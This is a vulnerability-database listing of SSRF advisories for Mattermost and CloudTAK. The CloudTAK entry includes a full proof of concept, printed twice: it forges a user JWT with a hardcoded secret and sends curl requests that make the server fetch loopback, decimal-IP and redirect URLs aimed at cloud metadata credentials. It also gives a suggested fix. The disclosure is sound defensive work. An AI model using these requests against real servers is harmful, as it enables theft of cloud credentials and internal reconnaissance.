Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5483 vulnerabilities reference this CWE, most recent first.

GHSA-VQP5-2MRP-QQXG

Vulnerability from github – Published: 2026-05-18 09:31 – Updated: 2026-06-01 15:29
VLAI
Summary
Mattermost doesn't validate the Host header when constructing response URLs for custom slash command
Details

Mattermost versions 11.5.x <= 11.5.1, 10.11.x <= 10.11.13 fail to validate the Host header when constructing response URLs for custom slash commands which allows an authenticated attacker to redirect slash command responses to an attacker-controlled server via a spoofed Host header.. Mattermost Advisory ID: MMSA-2026-00582

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.5.0"
            },
            {
              "fixed": "11.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.11.0"
            },
            {
              "fixed": "10.11.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20260325160634-e738016c5920"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.2-0.20260325160634-e738016c5920"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-6333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-01T15:29:47Z",
    "nvd_published_at": "2026-05-18T09:16:23Z",
    "severity": "LOW"
  },
  "details": "Mattermost versions 11.5.x \u003c= 11.5.1, 10.11.x \u003c= 10.11.13 fail to validate the Host header when constructing response URLs for custom slash commands which allows an authenticated attacker to redirect slash command responses to an attacker-controlled server via a spoofed Host header.. Mattermost Advisory ID: MMSA-2026-00582",
  "id": "GHSA-vqp5-2mrp-qqxg",
  "modified": "2026-06-01T15:29:47Z",
  "published": "2026-05-18T09:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6333"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattermost/mattermost/commit/e738016c592045e14bf926eafaeda6f8521def6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost doesn\u0027t validate the Host header when constructing response URLs for custom slash command"
}

GHSA-VQRW-QPHH-P34V

Vulnerability from github – Published: 2026-07-17 19:02 – Updated: 2026-07-17 19:02
VLAI
Summary
TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) — no IP-classification guard
Details

Summary

PUT /api/basemap (the basemap import endpoint) fetches an attacker-supplied URL server-side with no SSRF protection whatsoever. Any authenticated user can submit a JSON body { "type": "...", "url": "<attacker url>" }; the server calls fetch(url) against that URL and then reflects the response body (name, attribution, tiles[0], zoom levels) back to the caller in the OptionalTileJSON response.

Because there is no IP-address classification, internal-only services are reachable: cloud metadata (http://169.254.169.254/...), loopback (http://127.0.0.1/...), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a full-read SSRF (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.

The only URL check in the basemap protocol layer (BasemapProtocol.isValidURL, api/lib/interface-basemap.ts) validates the scheme is http/https only and performs no host/IP filtering — and the import path does not even call it; it goes straight from new URL(rawURL) to fetch(url).

Three independent bypass classes were confirmed end-to-end against a real deployed build: 1. Direct internal/loopback IP literals. 2. Alternate IP encodings (e.g. decimal http://2130706433/ = 127.0.0.1). 3. Redirect following — fetch uses the default redirect: 'follow', so even a public initial host that 302-redirects to an internal address is followed with no re-validation.

Vulnerable code (file:line)

api/routes/basemap.ts — importBasemapURL() and the PUT /basemap handler (line numbers at commit 90d43bdd2fb7d9bd57cbce28c709d9e5207a475a):

https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/routes/basemap.ts#L68-L136

// api/routes/basemap.ts
async function importBasemapURL(
    config: Config,
    rawURL: string,
    auth?: Static<typeof BasemapImportAuth>,
): Promise<Static<typeof OptionalTileJSON>> {
    const imported: Static<typeof OptionalTileJSON> = { type: Basemap_Type.RASTER };

    let url: URL;
    try {
        url = new URL(rawURL);            // (1) only well-formedness is checked
    } catch (err) {
        throw new Err(400, err instanceof Error ? err : new Error(String(err)), 'Invalid URL');
    }

    if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }

    const tjres = await fetch(url);        // (2) SSRF sink — no host/IP guard, default redirect:follow
    if (!tjres.ok) throw new Err(400, null, 'Unable to fetch TileJSON from source URL');

    const tjbody = await tjres.json() as Record<string, any>;
    if (tjbody.name) imported.name = tjbody.name;               // (3) internal response reflected to caller
    if (tjbody.attribution) imported.attribution = tjbody.attribution;
    if (Array.isArray(tjbody.tiles) && tjbody.tiles.length) {
        imported.url = tjbody.tiles[0]...;
    }
    return imported;
}

The handler at api/routes/basemap.ts L139–L233 mounts this as PUT /api/basemap and gates it only with Auth.is_auth(config, req) (L157), i.e. any authenticated user with application/json body { type, url } reaches importBasemapURL((req.body).url, (req.body).auth).

BasemapProtocol.isValidURL at api/lib/interface-basemap.ts L136 — the only "validation" in the protocol layer — checks the scheme only and performs no IP filtering:

https://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/lib/interface-basemap.ts#L136-L148

How input reaches the sink

  1. Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token.
  2. Attacker sends PUT /api/basemap with Content-Type: application/json and body { "type": "...", "url": "<attacker url>" }.
  3. Handler api/routes/basemap.ts L155–L233 calls Auth.is_auth(config, req) (L157, any authenticated user passes) then importBasemapURL(config, (req.body).url, (req.body).auth) (L233).
  4. importBasemapURL (L68) does new URL(rawURL) (L79) and, for non-ESRI URLs, reaches const tjres = await fetch(url) (L99) — the SSRF sink. No host/IP classification occurs anywhere on this path; fetch uses the default redirect: 'follow'.
  5. The response JSON is parsed (L104) and name / attribution / tiles[0] are copied into the response object (L106–L117) and returned to the attacker — closing the read loop.

Impact

Server-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:

  • Read the cloud instance metadata endpoint (http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>) and exfiltrate temporary IAM credentials.
  • Reach and read internal-only HTTP services (databases' HTTP UIs, admin panels, other microservices) not exposed to the internet.
  • Enumerate internal hosts/ports via response/timing differences.

Because the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.

Proof of concept

End-to-end reproduction against a real deployed CloudTAK API server (not a unit harness). An internal-only sentinel HTTP service is bound to 127.0.0.1:9000 (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.

1) Pinned install / build (v13.5.0, commit 64bc1886ff56b62f53d765d69ac90ff9fc23b54b):

git clone https://github.com/dfpc-coe/CloudTAK.git
cd CloudTAK && git checkout v13.5.0
cd api && npm ci
# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)

2) Deploy the real API server (test stack: SigningSecret defaults to the hardcoded coe-wildland-fire, migrations auto-apply, a default server row is auto-generated):

cd api
StackName=test \
SigningSecret=coe-wildland-fire \
POSTGRES='postgres://postgres@localhost:5432/tak_ps_etl' \
API_URL='http://localhost:5001' \
npx tsx index.ts --noevents --nosinks --nogeofence
# => "ok - http://localhost:5001"

3) Internal-only sentinel (internal_sentinel.js) — simulates an internal HTTP service / metadata endpoint, bound to loopback only:

const http = require('http');
const fs = require('fs');
const srv = http.createServer((req, res) => {
  fs.appendFileSync('/tmp/ssrf_sentinel_hits.log',
    `[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\n`);
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({
    name: 'INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c',
    attribution: 'leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e',
    tiles: ['http://127.0.0.1:9000/internal/{z}/{x}/{y}.png'],
    minzoom: 0, maxzoom: 19
  }));
});
srv.listen(9000, '127.0.0.1', () => console.log('sentinel on 127.0.0.1:9000 (internal-only)'));

node internal_sentinel.js &
# A redirector for the redirect-follow variant, also loopback-only:
node -e "require('http').createServer((q,r)=>{r.writeHead(302,{Location:'http://127.0.0.1:9000/via-302-redirect'});r.end();}).listen(9100,'127.0.0.1')" &

4) Attacker driver — mint a normal user JWT (signed with the deployed SigningSecret) and issue the three requests:

TOK=$(node -e "console.log(require('jsonwebtoken').sign({email:'attacker@evil.test',access:'user'},'coe-wildland-fire'))")

# (a) loopback / metadata-style path
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"type":"raster","url":"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/"}'

# (b) decimal-IP encoding of 127.0.0.1
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"type":"raster","url":"http://2130706433:9000/decimal-ip-bypass"}'

# (c) public-looking host that 302-redirects to internal (redirect:follow)
curl -s -X PUT http://localhost:5001/api/basemap \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"type":"raster","url":"http://127.0.0.1:9100/start"}'

5) Captured output — all three return the internal sentinel's secret body to the attacker, and the loopback-only sentinel records the server-side hits:

# HTTP response body returned to the attacker for (a), (b) and (c):
{"type":"raster","name":"INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c",
 "attribution":"leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e",
 "maxzoom":19,"minzoom":0,"url":"http://127.0.0.1:9000/internal/{$z}/{$x}/{$y}.png","format":"png"}

# /tmp/ssrf_sentinel_hits.log (sentinel is bound to 127.0.0.1 only):
[HIT 2026-06-03T05:01:13.606Z] GET /latest/meta-data/iam/security-credentials/ from=127.0.0.1
[HIT 2026-06-03T05:01:29.099Z] GET /decimal-ip-bypass from=127.0.0.1
[HIT 2026-06-03T05:01:30.151Z] GET /via-302-redirect from=127.0.0.1

The name and attribution values returned to the attacker are read verbatim from the internal service's HTTP response, demonstrating full-read SSRF. In a real cloud deployment the equivalent request http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns instance-role credentials.

6) Negative control — a public host is fetched normally (the endpoint is not globally broken); only the reachability of internal addresses is the defect.

End-to-end reproduction (against pinned version)

All of the above was executed against a real deployed CloudTAK API server built from tag v13.5.0 (commit 64bc1886ff56b62f53d765d69ac90ff9fc23b54b), booted with StackName=test against a PostGIS-enabled Postgres so migrations and routes load unmodified. The vulnerable build returned the internal sentinel's secret body (INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c, leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e) for all three bypass variants, and the loopback-only sentinel recorded the three server-side hits shown above.

After applying the fix below to the same deployed build and restarting, the exact same three attacker requests instead return:

{"status":403,"message":"URL resolves to a disallowed (internal) address","messages":[]}

and the sentinel log records no new hits, while https://example.com/tile.json continues to be fetched (returns 400 "Unable to fetch TileJSON" — it reached the public host, the body just is not valid TileJSON). An isBlockedIP unit check passes 14/14: 169.254.169.254, 127.0.0.1, 10/8, 172.16/12, 192.168/16, 100.64/10, ::1, ::ffff:127.0.0.1, fd00::/8, fe80::/10, 64:ff9b::/96 all blocked; 8.8.8.8, 1.1.1.1, 93.184.216.34 all allowed.

Suggested fix

Add an SSRF guard that (1) resolves the target hostname via DNS and rejects the request if any resolved address falls in a loopback / private / link-local (incl. 169.254.0.0/16 cloud metadata) / CGNAT / IPv6-ULA / IPv4-mapped / NAT64 range, and (2) follows redirects manually, re-validating the Location of every hop so a 302 to an internal address cannot bypass the check. Apply it to the import sink at api/routes/basemap.ts (the fetch(url) call) and to the ESRI/metadata fetch paths in the same file.

A self-contained safeFetch(url) helper (DNS resolution + per-hop re-validation) replacing the bare fetch(url) is sufficient; the same helper should back the other user-URL fetches in the basemap routes. A fix PR implementing exactly this guard is provided.

Note: a literal-string/prefix host blocklist (e.g. matching 127., 10., 192.168.) is not sufficient — it is bypassed by alternate IP encodings, IPv6-mapped forms, and DNS-rebinding hostnames. The guard must classify the resolved numeric address.

Severity

High. Pre-conditions: a single authenticated CloudTAK user account (any role). Impact: server-side full-read access to internal-only HTTP services and the cloud metadata endpoint from the API server's network position, enabling theft of instance credentials and internal reconnaissance. No additional privileges or victim interaction required.

Fix PR link

A fix PR implementing the DNS-resolving, redirect-re-validating safeFetch guard described above is provided to the maintainers via the private temporary fork associated with this advisory. The full guard source is also inlined under the Suggested fix section's reasoning above; the patch adds api/lib/ssrf-guard.ts and replaces the bare fetch(url) at api/routes/basemap.ts with safeFetch(url).

Credits

Reported by tonghuaroot.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tak-ps/cloudtak"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "13.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54546"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-17T19:02:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`PUT /api/basemap` (the basemap import endpoint) fetches an attacker-supplied URL server-side with **no SSRF protection whatsoever**. Any authenticated user can submit a JSON body `{ \"type\": \"...\", \"url\": \"\u003cattacker url\u003e\" }`; the server calls `fetch(url)` against that URL and then reflects the response body (`name`, `attribution`, `tiles[0]`, zoom levels) back to the caller in the `OptionalTileJSON` response.\n\nBecause there is no IP-address classification, internal-only services are reachable: cloud metadata (`http://169.254.169.254/...`), loopback (`http://127.0.0.1/...`), RFC1918 ranges, and CGNAT. The response body flows back to the attacker, making this a **full-read SSRF** (not blind): the attacker reads the internal HTTP response verbatim. This enables theft of cloud instance credentials, internal service enumeration, and reading of internal-only HTTP endpoints from the network position of the CloudTAK API server.\n\nThe only URL check in the basemap protocol layer (`BasemapProtocol.isValidURL`, `api/lib/interface-basemap.ts`) validates the scheme is `http`/`https` only and performs **no host/IP filtering** \u2014 and the import path does not even call it; it goes straight from `new URL(rawURL)` to `fetch(url)`.\n\nThree independent bypass classes were confirmed end-to-end against a real deployed build:\n1. Direct internal/loopback IP literals.\n2. Alternate IP encodings (e.g. decimal `http://2130706433/` = `127.0.0.1`).\n3. Redirect following \u2014 `fetch` uses the default `redirect: \u0027follow\u0027`, so even a public initial host that 302-redirects to an internal address is followed with no re-validation.\n\n### Vulnerable code (file:line)\n\n`api/routes/basemap.ts` \u2014 `importBasemapURL()` and the `PUT /basemap` handler (line numbers at commit `90d43bdd2fb7d9bd57cbce28c709d9e5207a475a`):\n\nhttps://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/routes/basemap.ts#L68-L136\n\n```ts\n// api/routes/basemap.ts\nasync function importBasemapURL(\n    config: Config,\n    rawURL: string,\n    auth?: Static\u003ctypeof BasemapImportAuth\u003e,\n): Promise\u003cStatic\u003ctypeof OptionalTileJSON\u003e\u003e {\n    const imported: Static\u003ctypeof OptionalTileJSON\u003e = { type: Basemap_Type.RASTER };\n\n    let url: URL;\n    try {\n        url = new URL(rawURL);            // (1) only well-formedness is checked\n    } catch (err) {\n        throw new Err(400, err instanceof Error ? err : new Error(String(err)), \u0027Invalid URL\u0027);\n    }\n\n    if (isEsriLayerURL(String(url))) { /* ... ESRI proxy path ... */ }\n\n    const tjres = await fetch(url);        // (2) SSRF sink \u2014 no host/IP guard, default redirect:follow\n    if (!tjres.ok) throw new Err(400, null, \u0027Unable to fetch TileJSON from source URL\u0027);\n\n    const tjbody = await tjres.json() as Record\u003cstring, any\u003e;\n    if (tjbody.name) imported.name = tjbody.name;               // (3) internal response reflected to caller\n    if (tjbody.attribution) imported.attribution = tjbody.attribution;\n    if (Array.isArray(tjbody.tiles) \u0026\u0026 tjbody.tiles.length) {\n        imported.url = tjbody.tiles[0]...;\n    }\n    return imported;\n}\n```\n\nThe handler at `api/routes/basemap.ts` L139\u2013L233 mounts this as `PUT /api/basemap` and gates it only with `Auth.is_auth(config, req)` (L157), i.e. **any authenticated user** with `application/json` body `{ type, url }` reaches `importBasemapURL((req.body).url, (req.body).auth)`.\n\n`BasemapProtocol.isValidURL` at `api/lib/interface-basemap.ts` L136 \u2014 the only \"validation\" in the protocol layer \u2014 checks the scheme only and performs no IP filtering:\n\nhttps://github.com/dfpc-coe/CloudTAK/blob/64bc1886ff56b62f53d765d69ac90ff9fc23b54b/api/lib/interface-basemap.ts#L136-L148\n\n### How input reaches the sink\n\n1. Attacker authenticates as any CloudTAK user (any role) and obtains a bearer token.\n2. Attacker sends `PUT /api/basemap` with `Content-Type: application/json` and body `{ \"type\": \"...\", \"url\": \"\u003cattacker url\u003e\" }`.\n3. Handler `api/routes/basemap.ts` L155\u2013L233 calls `Auth.is_auth(config, req)` (L157, any authenticated user passes) then `importBasemapURL(config, (req.body).url, (req.body).auth)` (L233).\n4. `importBasemapURL` (L68) does `new URL(rawURL)` (L79) and, for non-ESRI URLs, reaches `const tjres = await fetch(url)` (L99) \u2014 the SSRF sink. No host/IP classification occurs anywhere on this path; `fetch` uses the default `redirect: \u0027follow\u0027`.\n5. The response JSON is parsed (L104) and `name` / `attribution` / `tiles[0]` are copied into the response object (L106\u2013L117) and returned to the attacker \u2014 closing the read loop.\n\n### Impact\n\nServer-side full-read SSRF from the network position of the CloudTAK API server, reachable by any single authenticated user:\n\n- Read the cloud instance metadata endpoint (`http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e`) and exfiltrate temporary IAM credentials.\n- Reach and read internal-only HTTP services (databases\u0027 HTTP UIs, admin panels, other microservices) not exposed to the internet.\n- Enumerate internal hosts/ports via response/timing differences.\n\nBecause the fetched body is reflected back to the caller, the attack is non-blind (full response disclosure), not merely a blind request-forgery.\n\n### Proof of concept\n\nEnd-to-end reproduction against a **real deployed CloudTAK API server** (not a unit harness). An internal-only sentinel HTTP service is bound to `127.0.0.1:9000` (loopback only, unreachable from outside the host) and returns a TileJSON body carrying secret marker values; the proof is that the CloudTAK server fetches it server-side and reflects those secrets back to the attacker.\n\n1) Pinned install / build (v13.5.0, commit `64bc1886ff56b62f53d765d69ac90ff9fc23b54b`):\n\n```bash\ngit clone https://github.com/dfpc-coe/CloudTAK.git\ncd CloudTAK \u0026\u0026 git checkout v13.5.0\ncd api \u0026\u0026 npm ci\n# Postgres reachable at postgres://postgres@localhost:5432/tak_ps_etl (PostGIS-enabled)\n```\n\n2) Deploy the real API server (test stack: SigningSecret defaults to the hardcoded `coe-wildland-fire`, migrations auto-apply, a default server row is auto-generated):\n\n```bash\ncd api\nStackName=test \\\nSigningSecret=coe-wildland-fire \\\nPOSTGRES=\u0027postgres://postgres@localhost:5432/tak_ps_etl\u0027 \\\nAPI_URL=\u0027http://localhost:5001\u0027 \\\nnpx tsx index.ts --noevents --nosinks --nogeofence\n# =\u003e \"ok - http://localhost:5001\"\n```\n\n3) Internal-only sentinel (`internal_sentinel.js`) \u2014 simulates an internal HTTP service / metadata endpoint, bound to loopback only:\n\n```js\nconst http = require(\u0027http\u0027);\nconst fs = require(\u0027fs\u0027);\nconst srv = http.createServer((req, res) =\u003e {\n  fs.appendFileSync(\u0027/tmp/ssrf_sentinel_hits.log\u0027,\n    `[HIT ${new Date().toISOString()}] ${req.method} ${req.url} from=${req.socket.remoteAddress}\\n`);\n  res.setHeader(\u0027Content-Type\u0027, \u0027application/json\u0027);\n  res.end(JSON.stringify({\n    name: \u0027INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c\u0027,\n    attribution: \u0027leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e\u0027,\n    tiles: [\u0027http://127.0.0.1:9000/internal/{z}/{x}/{y}.png\u0027],\n    minzoom: 0, maxzoom: 19\n  }));\n});\nsrv.listen(9000, \u0027127.0.0.1\u0027, () =\u003e console.log(\u0027sentinel on 127.0.0.1:9000 (internal-only)\u0027));\n```\n\n```bash\nnode internal_sentinel.js \u0026\n# A redirector for the redirect-follow variant, also loopback-only:\nnode -e \"require(\u0027http\u0027).createServer((q,r)=\u003e{r.writeHead(302,{Location:\u0027http://127.0.0.1:9000/via-302-redirect\u0027});r.end();}).listen(9100,\u0027127.0.0.1\u0027)\" \u0026\n```\n\n4) Attacker driver \u2014 mint a normal user JWT (signed with the deployed `SigningSecret`) and issue the three requests:\n\n```bash\nTOK=$(node -e \"console.log(require(\u0027jsonwebtoken\u0027).sign({email:\u0027attacker@evil.test\u0027,access:\u0027user\u0027},\u0027coe-wildland-fire\u0027))\")\n\n# (a) loopback / metadata-style path\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"type\":\"raster\",\"url\":\"http://127.0.0.1:9000/latest/meta-data/iam/security-credentials/\"}\u0027\n\n# (b) decimal-IP encoding of 127.0.0.1\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"type\":\"raster\",\"url\":\"http://2130706433:9000/decimal-ip-bypass\"}\u0027\n\n# (c) public-looking host that 302-redirects to internal (redirect:follow)\ncurl -s -X PUT http://localhost:5001/api/basemap \\\n  -H \"Authorization: Bearer $TOK\" -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"type\":\"raster\",\"url\":\"http://127.0.0.1:9100/start\"}\u0027\n```\n\n5) Captured output \u2014 all three return the internal sentinel\u0027s secret body to the attacker, and the loopback-only sentinel records the server-side hits:\n\n```\n# HTTP response body returned to the attacker for (a), (b) and (c):\n{\"type\":\"raster\",\"name\":\"INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c\",\n \"attribution\":\"leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e\",\n \"maxzoom\":19,\"minzoom\":0,\"url\":\"http://127.0.0.1:9000/internal/{$z}/{$x}/{$y}.png\",\"format\":\"png\"}\n\n# /tmp/ssrf_sentinel_hits.log (sentinel is bound to 127.0.0.1 only):\n[HIT 2026-06-03T05:01:13.606Z] GET /latest/meta-data/iam/security-credentials/ from=127.0.0.1\n[HIT 2026-06-03T05:01:29.099Z] GET /decimal-ip-bypass from=127.0.0.1\n[HIT 2026-06-03T05:01:30.151Z] GET /via-302-redirect from=127.0.0.1\n```\n\nThe `name` and `attribution` values returned to the attacker are read verbatim from the internal service\u0027s HTTP response, demonstrating full-read SSRF. In a real cloud deployment the equivalent request `http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e` returns instance-role credentials.\n\n6) Negative control \u2014 a public host is fetched normally (the endpoint is not globally broken); only the *reachability* of internal addresses is the defect.\n\n### End-to-end reproduction (against pinned version)\n\nAll of the above was executed against a real deployed CloudTAK API server built from tag `v13.5.0` (commit `64bc1886ff56b62f53d765d69ac90ff9fc23b54b`), booted with `StackName=test` against a PostGIS-enabled Postgres so migrations and routes load unmodified. The vulnerable build returned the internal sentinel\u0027s secret body (`INTERNAL-METADATA-aws-iam-role-SECRET-7f3a9c`, `leaked-internal-credential::AKIA-SENTINEL-DO-NOT-REDACT-9b2e`) for all three bypass variants, and the loopback-only sentinel recorded the three server-side hits shown above.\n\nAfter applying the fix below to the same deployed build and restarting, the exact same three attacker requests instead return:\n\n```\n{\"status\":403,\"message\":\"URL resolves to a disallowed (internal) address\",\"messages\":[]}\n```\n\nand the sentinel log records **no** new hits, while `https://example.com/tile.json` continues to be fetched (returns `400 \"Unable to fetch TileJSON\"` \u2014 it reached the public host, the body just is not valid TileJSON). An `isBlockedIP` unit check passes 14/14: `169.254.169.254`, `127.0.0.1`, `10/8`, `172.16/12`, `192.168/16`, `100.64/10`, `::1`, `::ffff:127.0.0.1`, `fd00::/8`, `fe80::/10`, `64:ff9b::/96` all blocked; `8.8.8.8`, `1.1.1.1`, `93.184.216.34` all allowed.\n\n### Suggested fix\n\nAdd an SSRF guard that (1) resolves the target hostname via DNS and rejects the request if **any** resolved address falls in a loopback / private / link-local (incl. `169.254.0.0/16` cloud metadata) / CGNAT / IPv6-ULA / IPv4-mapped / NAT64 range, and (2) follows redirects manually, re-validating the `Location` of every hop so a 302 to an internal address cannot bypass the check. Apply it to the import sink at `api/routes/basemap.ts` (the `fetch(url)` call) and to the ESRI/metadata fetch paths in the same file.\n\nA self-contained `safeFetch(url)` helper (DNS resolution + per-hop re-validation) replacing the bare `fetch(url)` is sufficient; the same helper should back the other user-URL fetches in the basemap routes. A fix PR implementing exactly this guard is provided.\n\nNote: a literal-string/prefix host blocklist (e.g. matching `127.`, `10.`, `192.168.`) is **not** sufficient \u2014 it is bypassed by alternate IP encodings, IPv6-mapped forms, and DNS-rebinding hostnames. The guard must classify the **resolved** numeric address.\n\n### Severity\n\nHigh. Pre-conditions: a single authenticated CloudTAK user account (any role). Impact: server-side full-read access to internal-only HTTP services and the cloud metadata endpoint from the API server\u0027s network position, enabling theft of instance credentials and internal reconnaissance. No additional privileges or victim interaction required.\n\n### Fix PR link\n\nA fix PR implementing the DNS-resolving, redirect-re-validating `safeFetch` guard described above is provided to the maintainers via the private temporary fork associated with this advisory. The full guard source is also inlined under the Suggested fix section\u0027s reasoning above; the patch adds `api/lib/ssrf-guard.ts` and replaces the bare `fetch(url)` at `api/routes/basemap.ts` with `safeFetch(url)`.\n\n### Credits\n\nReported by tonghuaroot.",
  "id": "GHSA-vqrw-qphh-p34v",
  "modified": "2026-07-17T19:02:37Z",
  "published": "2026-07-17T19:02:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dfpc-coe/CloudTAK/security/advisories/GHSA-vqrw-qphh-p34v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dfpc-coe/CloudTAK"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TAK-PS-Stats Web UI: Authenticated full-read SSRF in CloudTAK basemap import (PUT /api/basemap) \u2014 no IP-classification guard"
}

GHSA-VQWH-5JHH-VC9P

Vulnerability from github – Published: 2025-08-21 09:30 – Updated: 2025-08-29 20:52
VLAI
Summary
Mattermost Server SSRF Vulnerability via the Agents Plugin
Details

Mattermost Server versions 10.5.x <= 10.5.9 utilizing the Agents plugin fail to reject empty request bodies which allows users to trick users into clicking malicious links via post actions

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.5.9"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.5.0"
            },
            {
              "fixed": "10.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.0.0-20250814075248-83a37a861d3c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-47700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T16:02:16Z",
    "nvd_published_at": "2025-08-21T08:15:29Z",
    "severity": "LOW"
  },
  "details": "Mattermost Server versions 10.5.x \u003c= 10.5.9 utilizing the Agents plugin fail to reject empty request bodies which allows users to trick users into clicking malicious links via post actions",
  "id": "GHSA-vqwh-5jhh-vc9p",
  "modified": "2025-08-29T20:52:24Z",
  "published": "2025-08-21T09:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47700"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    },
